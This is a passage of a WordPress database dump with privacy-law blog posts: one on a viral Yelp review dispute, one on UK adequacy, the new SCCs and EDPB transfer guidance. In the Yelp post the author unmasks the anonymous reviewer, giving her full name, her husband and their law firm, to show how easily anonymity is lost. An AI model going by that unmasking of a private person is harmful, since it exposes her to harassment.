href=\"https://www.linkedin.com/in/taubmanbassirian/\">Status is onlineTara TAUBMAN-BASSIRIAN LLM&nbsp;</a>GDPR, Data Protection and IP consultant - Voted Privacy Hero of the YearPublished • </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" target=\"_blank\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"http://mashable.com/2016/01/14/tripadvisor-review-response/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttp://mashable.com/2016/01/14/tripadvisor-review-response/?utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\n</div></figure>\n<!-- /wp:embed -->','Copyright Claim to Deny Freedom of Speech','','publish','closed','closed','','copyright-claim-to-deny-freedom-of-speech','','','2020-11-26 20:10:22','2020-11-26 20:10:22','',0,'http://datarainbow.eu/?p=841',0,'post','',0),(844,1,'2014-10-10 13:49:38','2014-10-10 13:49:38','<!-- wp:paragraph -->\n<p>\"<a href=\"http://themetapicture.com/woman-leaves-bad-online-review/\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Woman Leaves Bad Online Review, The Owner Finds Out And Responds</em></a>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An angry customer, \'Sonal B.\' leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online. It\'s Sunday and with my Mediator\'s hat on and as a student learner of the online course on negotiation skills (Coursera Successful Negotiation Skills by University of Michigan), I thought I could dig the story a bit more.First, looking at the Yelp website, under Voltaire restaurant in KC, I don\'t seem to find the review. I searched for \'<em>Sonal B</em>\' KC, they are few, all blank profiles with no review!!Intrigued, I see the restaurant is at 1617 Genessee Street in KC, I searched for law firms nearby and they are few at the 1600, from employment law to dispute resolution ! I supposed Voltaire to be a French restaurant, in which case, I could easily imagine how they would be playing arrogance, if you know what I mean. Customer service and French don\'t really rhyme. Let\'s play Sonal B\'s advocate. First cultural clarification needed: Is this usual in the states that a restaurant would refuse to let customers take out their meal? I understand the manager\'s argument that the meal would not look nice out of the plate, however, is this not a client\'s decision? Nothing really goes against a risotto in box, does it?! Why on earth the waiter would not want to tell them which kind of stock they used for the risotto? Is this not a legitimate request? So, the customer could have few grants of complaint. I can accept that they were a bit lazy not just walking away to find another restaurant. After all, why should the restaurant serve them if they don\'t want to. Do they have an obligation to serve every customer? So, anyway, there is always two sides in each conflict. I bet the restaurant people could have been arrogant, they must not have liked the customer\'s arrogance, and no, no one likes you telling you have rights because you are a lawyer. However, not many online comments have taken the side of the customer.I wonder why the review is not on Yelp\'s website anymore.By the way, I am amazed on the way restaurants in the US can be \'diverse\', the name is French, but they serve, Italian, Vietnamese, even Persian kebab,.... !Digging up further, this time with my eCommerce and libel law expert hat. I noticed that the comment was made on the 1st of October responded in short time and gone viral since for being picked up by two sites Eater and Uproxx. It seems like the posts have been taken down despite Yelp saying they wouldn\'t (\'<em><strong>Your trust is our top concern,</strong>&nbsp;so businesses can\'t pay to alter or remove their reviews.</em>\'). You can still find&nbsp;<a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">reference to it</a>&nbsp;on the&nbsp;<a rel=\"noreferrer noopener\" href=\"http://www.yelp.com/topic/kansas-city-the-most-epic-yelp-response-ever?category=7\" target=\"_blank\">Yelp Shout-Outs</a>&nbsp;discussion page. So, from a marketing standpoint, the question is, should or should not a restaurant respond to negative reviews? If it does so, should it be in private or public? Think of the advertisement this case has created for the restaurant.<a rel=\"noreferrer noopener\" href=\"http://www.kansascity.com/living/liv-columns-blogs/chow-town/article2557634.html\" target=\"_blank\">This article</a>&nbsp;mentions another review left by this same Sonal B. Unfortunately, I don\'t seem to find it. Might be that....<a rel=\"noreferrer noopener\" target=\"_blank\">she has left Yelp</a>? From a quick look at the&nbsp;<a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/UPROXX/posts/10152771736876337\" target=\"_blank\">comments</a>&nbsp;on Uproxx Facebook page, it appears that Sonal B has eventually closed her account, hope no one will guess the name of her lawyer husband.Thanks to an online connection in KC, I have been passed&nbsp;<a rel=\"noreferrer noopener\" target=\"_blank\">additional facts from the local press</a>. I am told that the review was taken down by the writer who had deactivated her accounts. \'She got slammed by the social media world for being an ass.\' I was told. This case is a great demonstration of why it worth monitoring your brand online. Just what big companies such as Nestle did not and paid the price (I am referring to the Palm oil attack against Nestlé by Greenpeace). I have to say that I often disagree with online marketers for only looking at the number of followers, the many clicks and not enough at the actual interest of readers for the subject. I can only say my message was broadcasted when I publish online. What tells me the actual impact of my message is if I had readers who \'liked\' or \'commented\' my piece. This is why I feel frustrated when my stats numbers tells me how many visitors I had on my blog if no one clicked \'like\' or posted a \'comment\'. By the way, please do comment or disagree with me if it\'s the case, I\'d love you to share your views. Coming back to this case, a simple response has not only stopped a customer from tarnishing a restaurant\'s reputation (because it could happen that more people would have taken the other party\'s side as I mentioned initially, there is always to sides on each story) even more, it has made the restaurant famous around the world and all that for the cost of......0 $. So, as a result,&nbsp;<a rel=\"noreferrer noopener\" target=\"_blank\">many potential clients</a>&nbsp;are now curious to know where this Voltaire is and would want to travel to KC just to try it. Eventually, with a little deeper digging, I was able to find<a rel=\"noreferrer noopener\" href=\"http://www.meetup.com/KCRoundtable/members/64292342/\" target=\"_blank\">&nbsp;the author of the comment</a>. She wrote in another site : \"<em>Hi! My name is Sonal Keenan Bhatia. My husband E.E. and I own a law firm which largely represents labor unions and plaintiffs. We are interested in legal technology solution-building and have some ideas we\'d like to create with the right partner..</em>.\" And this is where I take my Privacy hat to point out how what is supposedly \'anonymous\' and parse is curated by Google for all the pieces of the puzzle to be assembled to reveal the full picture. Finding the real identity of the author of the comment was a simple matter of a quick Google search. On this aspect, I can only refer you to the expert knowledge of Daniel Solove and invite you to watch his videos on YouTube to see examples of how a reputation and a persona can be destroyed online. See also&nbsp;<a rel=\"noreferrer noopener\" href=\"http://www.facebook.com/viktorms\" target=\"_blank\">Viktor Mayer-Schönberger</a>, author of \'<a rel=\"noreferrer noopener\" href=\"http://www.google.co.uk/url?url=http://www.amazon.co.uk/Delete-The-Virtue-Forgetting-Digital/dp/0691150362&amp;rct=j&amp;q=&amp;esrc=s&amp;sa=U&amp;ei=_OlDVMXHDOOE7gaj8YD4Cw&amp;ved=0CBsQFjAB&amp;sig2=7F6STfWV1YN93HbaqCTTaA&amp;usg=AFQjCNFtK5g7846CcXD6mpdNEoIpLMVBHA\" target=\"_blank\"><strong>Delete</strong>: The Virtue of Forgetting in the Digital Age</a>\' who has also great Youtube videos to watch if you don\'t want to read his book. This last point is connected to the current debate on the right to be forgotten, the ECJ decision ordering Google to delete link to website of defamation. One tricky balance to find between privacy, the right to be forgotten and the newsworthy right to be remembered as recently proclaimed by the BBC. A latent tension between privacy and freedom of speech. A very interesting Sunday, with this rapid analysis I wanted to share.I so love what I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.tripadvisor.co.uk/Hotel_Review-g1453682-d622439-Reviews-La_Chancellerie-Huismes_Loire_Valley_Centre_Val_de_Loire.html\" target=\"_blank\" rel=\"noreferrer noopener\">in contrast: How a manger\'s agressivity can worsen the negative review.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Update December 2016 :&nbsp;<a rel=\"noreferrer noopener\" href=\"http://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+TheNextWeb+%28The+Next+Web+All+Stories%29\" target=\"_blank\">You can no longer be sued for leaving negative reviews online.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks to Mark Lemley fro painting us to this other battle <a href=\"http://www.boston.com/food-dining/restaurants/2014/12/09/harvard-business-school-professor-goes-war-over-worth-chinese-food/KfMaEhab6uUY1COCnTbrXP/story.html﻿\">case between a Harvard Business professor and a Chinese restaurant. </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very interesting. Thanks for Fabrice Epelboin for sharing the<a href=\"http://www.leblogducommunicant2-0.com/2014/11/09/clash-du-president-de-huawei-contre-elise-lucet-ce-que-tout-dirigeant-devrait-retenir/﻿\"> link</a>. I recently wrote a piece on LinkedIn Pulse concerning the positive reaction of a manager in Atlanta to turn a customers negative online review to the advantage of his restaurant.  Here is what Huawei missed. A French TV reporter tried to interview him about the use of young children in a Chinese factory where they make Huawei\'s Smartphone screens. Not only he refused to respond and ignored the notorious journalist, he then went claiming he\'ll ask all his business network CEOs to refuse to give her any interview. Oh dear Sir, you had it all wrong and will have to face the anger of social media. His Twitter excuse won\'t do much I am afraid. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\'Le Tronc d\'Arbre\', Photo by Tara Taubman-Bassirian - Licence CC</em></p>\n<!-- /wp:paragraph -->','How an Online Negative Review Can Be Positively Exploited','An angry customer leaves a negative comment about a restaurant on Yelp. The offended manager replies publicly, and it all goes heatedly viral online','publish','closed','closed','','how-an-online-negative-review-can-be-positively-exploited','','','2020-11-26 20:09:07','2020-11-26 20:09:07','',0,'http://datarainbow.eu/?p=844',0,'post','',0),(2069,1,'2021-06-21 22:13:16','2021-06-21 22:13:16','<!-- wp:image {\"id\":2056,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://www.datarainbow.eu/wp-content/uploads/2021/06/DB7BE3B6-FEA8-4C95-B109-0586DB3F5A1F_1_201_a-1024x518.jpeg\" alt=\"\" class=\"wp-image-2056\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The Journey to a New Privacy Shield and Who is Leading the Way.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A webinar moderated by Jacob Høedt Larsen, Head of Communications at Wired Relations, Tara Taubman-Bassirian LLM , SCOTT WILSON Consultant and Bill Mew, Founder and CEO at Crisis Team will be speaking at a Privsec Webinar Tuesday 22nd of June at 12 BST.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last few weeks have been extremely busy for privacy specialists. The wait of the <a href=\"https://ec.europa.eu/commission/presscorner/detail/en/ip_21_661\" data-type=\"URL\" data-id=\"https://ec.europa.eu/commission/presscorner/detail/en/ip_21_661\" target=\"_blank\" rel=\"noreferrer noopener\">UK adequacy</a> decision has evidently made many nervous. \'<em><a rel=\"noreferrer noopener\" href=\"https://www.europarl.europa.eu/news/en/press-room/20210517IPR04124/data-protection-meps-urge-the-commission-to-amend-uk-adequacy-decisions\" data-type=\"URL\" data-id=\"https://www.europarl.europa.eu/news/en/press-room/20210517IPR04124/data-protection-meps-urge-the-commission-to-amend-uk-adequacy-decisions\" target=\"_blank\">In a resolution passed on Friday</a> (344 votes in favour, 311 against and 28 abstaining), MEPs ask the Commission to modify its draft decisions on whether or not UK data protection is adequate and data can safely be transferred there, bringing them in line with the latest EU court rulings and responding to concerns raised by the European Data Protection Board (EDPB) in its recent <a rel=\"noreferrer noopener\" href=\"https://edpb.europa.eu/news/news/2021/edpb-opinions-draft-uk-adequacy-decisions_en\" target=\"_blank\">opinions</a>.</em>\'...\'<em>The EDPB considers that UK bulk access practices, onward transfers and its international agreements need to be clarified further. The resolution states that, if the implementing decisions are adopted without changes, national data protection authorities should suspend transfers of personal data to the UK when indiscriminate access to personal data is possible.</em>\' </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite the Parliament\'s vote and concerns about to bulk data collection and the <strong>Exemptions for national security and immigration</strong>, the <a rel=\"noreferrer noopener\" href=\"https://ec.europa.eu/info/law/law-making-process/adopting-eu-law/implementing-and-delegated-acts/comitology_en\" target=\"_blank\" data-type=\"URL\" data-id=\"https://ec.europa.eu/info/law/law-making-process/adopting-eu-law/implementing-and-delegated-acts/comitology_en\">Comitology</a> committee met and the decision was unanimously voted. An <a rel=\"noreferrer noopener\" href=\"https://amberhawk.typepad.com/amberhawk/2021/06/adequacy-agreement-for-transfers-from-the-eu-to-the-uk-made-on-friday-unmade-by-sunday.html\" target=\"_blank\">adequacy leaked document</a> has circulated and already <a href=\"https://amberhawk.typepad.com/amberhawk/2021/06/adequacy-agreement-for-transfers-from-the-eu-to-the-uk-made-on-friday-unmade-by-sunday.html\" data-type=\"URL\" data-id=\"https://amberhawk.typepad.com/amberhawk/2021/06/adequacy-agreement-for-transfers-from-the-eu-to-the-uk-made-on-friday-unmade-by-sunday.html\">widely commented</a>. <a rel=\"noreferrer noopener\" href=\"https://amberhawk.typepad.com/amberhawk/2021/06/tigrr-eeyore-and-pooh-bear-decide-to-destroy-the-gdpr.html\" target=\"_blank\">The TIGRR document</a> announcing the desire by the UK conservatives to depart from the GDPR for a more \'pro-business\', data heaven approach did not affect EU Commission\'s to grant <a rel=\"noreferrer noopener\" href=\"https://ec.europa.eu/commission/presscorner/detail/en/ip_21_661\" data-type=\"URL\" data-id=\"https://ec.europa.eu/commission/presscorner/detail/en/ip_21_661\" target=\"_blank\">UK adequacy</a>. Or at least, not yet. The UK ICO is to publish a new set of SCCs. The Commission\'s SCCs will not apply to the UK.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eventually, The Commission published the <a href=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/new-scc/id36643203\" data-type=\"URL\" data-id=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/new-scc/id36643203\" target=\"_blank\" rel=\"noreferrer noopener\">new Standard Contractual Clauses</a> long awaited. And today, the EDPB has published its<a href=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/id36643074/item373498541\" data-type=\"URL\" data-id=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/id36643074/item373498541\" target=\"_blank\" rel=\"noreferrer noopener\"> Recommendations 01/2020</a> on measures that supplement transfer tools to ensure compliance with<br>the EU level of protection of personal data - Version 2.0 - Adopted on 18 June 2021.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Just a short background reminder :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" data-type=\"URL\" data-id=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" target=\"_blank\">Since Ed</a><a href=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" data-type=\"URL\" data-id=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" target=\"_blank\" rel=\"noreferrer noopener\">w</a><a rel=\"noreferrer noopener\" href=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" data-type=\"URL\" data-id=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" target=\"_blank\">ard Snowden’s revelations on the NSA surveillance</a>, the general public has been made more aware of the US intelligence laws intercepting and monitoring EU citizens data. The General Data Protection Regulation (GDPR) that entered into for on May 2018, offers a higher level of protection, regardless or the nationality of the data subjects. That includes strong data subjects rights- in principle- enforced by supervisory authorities as well as a right to judicial redress guaranteed by Art 82 GDPR. However, we still to see non material damage granted as the mere fact of non compliance with the GDPR has been deemed insufficient by European national jurisdictions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If GDPR aims to facilitate the free flow of personal data within the EU/EEA (EEA, the 27 countries of the European Union plus Iceland, Liechtenstein and Norway), the flow of data outside the EU is prohibited unless measures of protection are in place. As a result of the privacy activist, Max Schrems - long hale legal actions, we saw the US Safe Harbour agreement then the Privacy Shield being invalidated by the European Court of Justice decisions (commonly known as Schrems-I and <a rel=\"noreferrer noopener\" href=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" data-type=\"URL\" data-id=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" target=\"_blank\">Schrems-II)</a> based on the European Union regulation, read in the light of the Charter of the Fundamental Rights of the European Union. with this regard, data collected or processed in the EU should not be transferred to countries of non adequate data protection, including the U.S.A (Article 46 GDPR).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a way, <a rel=\"noreferrer noopener\" href=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" data-type=\"URL\" data-id=\"https://www.datarainbow.eu/schrems-ii-invalidation-of-the-privacy-shield-by-the-ecj/\" target=\"_blank\">Schrems-II</a> decision, requiring an <strong>equivalent level of protection</strong> for data exported outside the EU/EEA, the decision has established a sort of bubble of protection around the data that should be maintained even when the data is exported outside the EU (<a href=\"https://gdprinfo.info/#a45.3\">Art 45-3 </a>) a controller or processor may transfer personal data to a third country only if it has provided appropriate safeguards, and on the condition that enforceable rights and effective legal remedies for data subjects are available)..</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Several countries have received an adequacy decision on the basis of <a rel=\"noreferrer noopener\" href=\"https://www.gdprinfo.info/#a45\" target=\"_blank\" data-type=\"URL\" data-id=\"https://www.gdprinfo.info/#a45\">article 45</a> of <a rel=\"noreferrer noopener\" href=\"http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv%3AOJ.L_.2016.119.01.0001.01.ENG&amp;toc=OJ%3AL%3A2016%3A119%3ATOC\" target=\"_blank\">Regulation (EU) 2016/679 </a> from the EU commission, lately Japon and the case of South Korea is on its on its way (The European Commission has so far recognised <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32010D0625\" target=\"_blank\">Andorra</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32003D0490\" target=\"_blank\">Argentina</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/en/TXT/?uri=CELEX%3A32002D0002\" target=\"_blank\">Canada</a> (commercial organisations), <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/en/ALL/?uri=CELEX%3A32010D0146\" target=\"_blank\">Faroe Islands</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32003D0821\" target=\"_blank\">Guernsey</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32011D0061\" target=\"_blank\">Israel</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32004D0411\" target=\"_blank\">Isle of Man</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv:OJ.L_.2019.076.01.0001.01.ENG&amp;toc=OJ:L:2019:076:TOC\" target=\"_blank\">Japan</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32008D0393\" target=\"_blank\">Jersey</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/ALL/?uri=CELEX%3A32013D0065\" target=\"_blank\">New Zealand</a>, <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32000D0518\" target=\"_blank\">Switzerland</a> and <a rel=\"noreferrer noopener\" href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32012D0484\" target=\"_blank\">Uruguay</a> as providing adequate protection). In the case of the U.S.A., the EU commission had reviewed the Privacy Shield to give its green light. That was not an opinion shared by the ECJ that invalidated the Privacy Shield in July 2020 with immediate effect. The Court however, said other measures of supplementary safeguard were needed to guarantee the same level of standard of data protection. In principal however, the court said Standard Contractual Clauses and <a rel=\"noreferrer noopener\" href=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/bcr/id42270103\" data-type=\"URL\" data-id=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/bcr/id42270103\" target=\"_blank\">Binding Corporate Rules </a>remained valid when supplemented with appropriate measures, in the context of massive data flow between the US and the EEA. This requires <strong>transfer impact assessment</strong> to assess the level of protection in a third country. In a way, data exporters are required to do what the commission had failed. A case by case analysis of the protection offered by the country of the data importer plus implementation of appropriate supplementary measures of safeguard when there are indications that legislation may impinge on the fundamental rights and freedoms of data subjects in Europe – for instance when there is a potential risk of government access or surveillance legislation – <strong>supplementary measures</strong> need to be put in place by the data importer in the third country to protect the personal data coming from Europe. These can be technical, organisational and/or contractual measures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>SCCs models adopted by the Commission pre-dated the GDPR and needed some refreshment. So the new SCCs finally published by the Commission were greatly welcomed. The risk assessment operation should begin with a data mapping that was anyway required for GDPR compliance. Knowing where the data is and what data is hold. Minimising the data, making sure data is accurate, limiting access to data, especially securing the data in this terrific context of cyberattacks and ransomware pandemics. We see the cloud leaking, data raining like dogs and cats. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As touched above, SCCs are not the only tool available. \'<em>In the absence of a decision pursuant to <a href=\"https://www.gdprinfo.info/#a45.3\">Article 45(3)</a>, a controller or processor may transfer personal data to a third country or an international organisation only if the controller or processor has provided appropriate safeguards, and on condition that enforceable data subject rights and effective legal remedies for data subjects are available.</em>\' \'<em>The appropriate safeguards referred to in paragraph 1 may be provided for, without requiring any specific authorisation from a supervisory authority, by</em>\' BCR (<a rel=\"noreferrer noopener\" href=\"https://www.gdprinfo.info/#a47\" data-type=\"URL\" data-id=\"https://www.gdprinfo.info/#a47\" target=\"_blank\">Article 47</a>) can be more appropriate, usually within different establishments of a same group. They are also \'<em>approved code of conduct pursuant to <a href=\"https://www.gdprinfo.info/#a40\">Article 40</a></em>\' or Code of Conducts (<a rel=\"noreferrer noopener\" href=\"https://www.gdprinfo.info/#a46\" data-type=\"URL\" data-id=\"https://www.gdprinfo.info/#a46\" target=\"_blank\">Article 46</a>). However, not many have yet been adopted. The French supervisory Authority, the CNIL, recently approved a code of conduct for <a rel=\"noreferrer noopener\" href=\"https://www.lexology.com/library/detail.aspx?g=9ed9aa69-9f32-40c2-88bb-dd6e1bb381bd\" data-type=\"URL\" data-id=\"https://www.lexology.com/library/detail.aspx?g=9ed9aa69-9f32-40c2-88bb-dd6e1bb381bd\" target=\"_blank\">cloud infrastructure</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"a49\"><strong>Article 49 -Derogations for specific situations</strong> apply \'<em>In the absence of an adequacy decision pursuant to <a href=\"https://www.gdprinfo.info/#a45.3\">Article 45(3)</a>, or of appropriate safeguards pursuant to Article 46, including binding corporate rules, a transfer or a set of transfers of personal data to a third country or an international organisation shall take place only on</em>\' restrictive conditions</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The newly published EU Commission implementing decision on <a rel=\"noreferrer noopener\" href=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/new-scc/id36643203\" data-type=\"URL\" data-id=\"https://www.pearltrees.com/t/data-flow-outside-the-eea/new-scc/id36643203\" target=\"_blank\">SCC</a>s has caused many interrogations for its <strong>Recital 7</strong> \'<em>The standard contractual clauses may be used for such transfers only to the extent that the processing by the importer does not fall within the scope of Regulation (EU) 2016/679.</em>\' This is the case when the importer is falls within the definition of <strong>Art 3(2)</strong> long arm of the GDPR scope. When the organisation is targeting or selling goods and services to the EU, a Data Processing Agreement Art 28 is required. In order to protect the data transfer supplementary measures of safeguard adapted in a case by case biases to the country of import AND judicial redress (EU courts competence) and/or arbitration will be provided. This is what was lacking with the Privacy Shield, an independent authority and the ombudsperson to deal with EU citizens complaints. The EDBP recommendation has not specified this case scenario. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Data localisation</strong>, recommended by some professionals, cannot be the escape solution as data is considered as transferred as long as it can be accessed. As the EDPB notes, <em>\'remote access from a third country... and/or storage in a cloud situated outside the EEA offered by a service provider, is also considered to be a transfer. Are you using a third party using US cloud? That means transferring outside the EEA to US</em>\'.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The European Data Protection board recommendations in 6 steps :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><strong>Step 1-</strong> the EDPB advises you, exporters, to know your transfers. <strong>Mapping</strong> all transfers of personal data to third countries</em></li><li><em><strong>Step 2 -</strong> verify the <strong>transfer tool</strong> your transfer relies on, amongst those listed under Chapter V GDPR.</em></li><li><em><strong>Step 3-</strong> <strong>Assess</strong> if there is anything in the law and/or practices in force of the third country that may impinge on the effectiveness of the appropriate safeguards of the transfer tools you are relying on,</em></li><li><em><strong>Step 4-</strong> Identify and adopt <strong>supplementary measures</strong> that are necessary to bring the level of protection of the data transferred up to the EU standard of essential equivalence</em></li><li><em><strong>Step 5</strong>- take any formal procedural steps the adoption of your <strong>supplementary measure</strong> may require, depending on the <strong>Article 46 GDPR</strong> transfer tool you are relying on.</em></li><li><em><strong>Step 6 Final -</strong> <strong>re-evaluate at appropriate intervals</strong> the level of protection afforded to the personal data you transfer to third countries and to monitor if there have been or there will be any Adopted 5 developments that may affect it. The principle of accountability requires continuous vigilance of the level of protection of personal data.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Modular approach :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>Organisations transferring personal data to third countries are “<em>free to include those standard contractual clauses in a wider contract and to add other clauses or additional safeguards, provided that they do not contradict the standard contractual clauses or prejudice the rights or freedoms of data subjects</em>”.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>SCCs used to be a one of signed document hidden in the back of a drawer. The new SCCs requiere adaptation, they are four modules. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>MODULE ONE: Transfer controller to controller</strong></li><li><strong>MODULE TWO: Transfer controller to processor</strong></li><li><strong>MODULE THREE: Transfer processor to processor</strong></li><li><strong>MODULE FOUR : Transfer processor to controller</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p> for Data controller to Processor, Controller to controller, processor ro processor and Processor back to Controller. They need to be adapted, Third party have now the \'docking option\' to join the contract. They can be adapted as long as the nature of the clauses are not modified</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation of information and transparency</strong>, emphasised by the Commission document will not be an easy to implement by data importers who are not necessarily aware of the information provided at the time of the collect of data, unless they have access to the exporter\'s privacy policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>With a view to ensuring <strong>transparency</strong> of processing, data subjects should be provided with a copy of the standard contractual clauses and <strong>be informed</strong>, in particular, of the categories of personal data processed, the right to obtain a <strong>copy of the standard contractual clauses</strong>, and any onward transfer. Onward transfers by the data importer to a third party in another third country should be allowed only if the third party accedes to the standard.</em></p><p><em>With some exceptions, in particular as regards certain obligations that exclusively concern the relationship between the data exporter and data importer, <strong>data subjects</strong> should be able to invoke, and where necessary <strong>enforce</strong>, the standard contractual clauses as third-party beneficiaries.</em></p><p><em>while the parties should be allowed to choose the law of one of the Member States as governing the standard contractual clauses, that law must allow for third-party beneficiary rights.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><strong>Individual redress :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>In order to facilitate individual redress, the standard contractual clauses should require the data importer to inform data subjects of a <strong>contact point</strong> and deal promptly with any complaints or requests.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><strong>EU courts :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container\"><!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>The data subject should be able to lodge a <strong>complaint</strong> with the competent supervisory authority or refer the <strong>dispute to the competent courts in the EU</strong>.</em></p><p><em>the data importer should agree to respond to enquiries, submit to audits and comply with the measures adopted by the supervisory authority, including remedial and compensatory measures.</em></p></blockquote>\n<!-- /wp:quote --></div></div>\n<!-- /wp:group -->\n\n<!-- wp:paragraph -->\n<p><strong>ADR :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>In addition, the data importer should have the option of offering data subjects the opportunity to <strong>seek redress before an independent dispute resolution body</strong>, at no cost. In line with Article 80(1) of Regulation (EU) 2016/679, data subjects should be allowed to <strong>be represented by associations</strong> or other bodies in disputes against the data importer if they so wish</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><strong>Time scale :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote 